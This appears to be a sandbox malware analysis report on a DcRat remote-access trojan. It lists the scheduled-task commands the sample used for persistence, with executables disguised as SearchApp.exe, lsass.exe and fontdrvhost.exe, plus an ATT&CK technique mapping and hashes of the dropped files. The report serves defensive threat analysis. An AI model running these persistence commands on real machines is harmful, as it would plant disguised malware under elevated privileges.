schtasks.exe /create /tn "SearchAppS" /sc MINUTE /mo 11 /tr "'C:\Users\Public\Documents\My Music\SearchApp.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4568

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SearchApp" /sc ONLOGON /tr "'C:\Users\Public\Documents\My Music\SearchApp.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1584

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SearchAppS" /sc MINUTE /mo 9 /tr "'C:\Users\Public\Documents\My Music\SearchApp.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2764

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "cmdc" /sc MINUTE /mo 8 /tr "'C:\Users\Default\cmd.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4156

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "cmd" /sc ONLOGON /tr "'C:\Users\Default\cmd.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4856

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "cmdc" /sc MINUTE /mo 12 /tr "'C:\Users\Default\cmd.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4392

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SearchAppS" /sc MINUTE /mo 9 /tr "'C:\Users\Default\Videos\SearchApp.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2432

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SearchApp" /sc ONLOGON /tr "'C:\Users\Default\Videos\SearchApp.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:1296

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "SearchAppS" /sc MINUTE /mo 5 /tr "'C:\Users\Default\Videos\SearchApp.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3932

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsassl" /sc MINUTE /mo 11 /tr "'C:\Program Files (x86)\Windows Media Player\ja-JP\lsass.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3708

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsass" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows Media Player\ja-JP\lsass.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3756

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "lsassl" /sc MINUTE /mo 12 /tr "'C:\Program Files (x86)\Windows Media Player\ja-JP\lsass.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:940

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 14 /tr "'C:\Users\Default\Recent\fontdrvhost.exe'" /f
1⤵
- DcRat
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:3724

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhost" /sc ONLOGON /tr "'C:\Users\Default\Recent\fontdrvhost.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:4948

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "fontdrvhostf" /sc MINUTE /mo 7 /tr "'C:\Users\Default\Recent\fontdrvhost.exe'" /rl HIGHEST /f
1⤵
- DcRat
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:2240

C:\Users\Admin\RuntimeBroker.exe
C:\Users\Admin\RuntimeBroker.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2648

C:\Users\Default\Videos\SearchApp.exe
C:\Users\Default\Videos\SearchApp.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3164

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Scheduled Task/Job

T1053

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Scheduled Task/Job

T1053

Defense Evasion

Modify Registry

T1112

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

GdYaNq.vbe

Path C:\Surrogateprovidercomponentsessionmonitor\GdYaNq.vbe
Size 231B
SHA256 3f7ab00980558804600b2f6d048923ef4c3f541504ec929ddeaf64c84e9e5ea2
MD5 5883718a5a7d15442c10bb5f0ec73490
SHA1 debc58b4e3cd5121a51b1ac23108a3a10993227f
SHA512 0e261e1571f828f9e93778a5c98b7e9669383568d5a915a1b4af1b8273ca17f11ee47f6957b3768bca01ea88936da4541f318f7b91542a65e51db3ab03e62502
MD5 SHA1 SHA512

Submit Download

RS64buulixvrgn.bat

Path C:\Surrogateprovidercomponentsessionmonitor\RS64buulixvrgn.bat
Size 63B
SHA256 80d02a1cb8e68ffbc609a6c4914600604153ce929d46994200f837d354a5a611
MD5 6de687cf7ca366429c953cb49905b70a
SHA1 58e2c1823c038d8da8a2f042672027184066279e
SHA512 6bfa7a07d6adf167458cece0ba3a110479ee7677feb58c0ae9ba5c8913bcdda13664060ce0261abc1668c18831d5c73f6bc570be8595323d46704b810fc024ef
MD5 SHA1 SHA512

Submit Download

browserwinsvc.exe

Path C:\Surrogateprovidercomponentsessionmonitor\browserwinsvc.exe
Size 1.3MB
SHA256 604d318dd35c84d75e070b534558a3f7f5a52e1bfedee8e77fc1d756ac684ca2
MD5 3110f5c22dfea46122ca06ddabd3f84c
SHA1 57de9aa7bfe69bec5a9ba747e6ec0c2f105c256f
SHA512 045787765b26d81346bc4818c1e58520b5c920182e9b84e15e1c0e123d475222420a6114fd56b4ecbb10ac4d34f333dc3c055f9396b39cc8707cf1bf207b4130
SSDEEP 24576:OlESdayd3rFfezUTnrtDENS2i8SIq7bARyGrx0f7MHqeTMa:O2SdtihITtKto7i
MD5 SHA1 SHA512 SSDEEP

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
MD5 SHA1 SHA512

Submit Download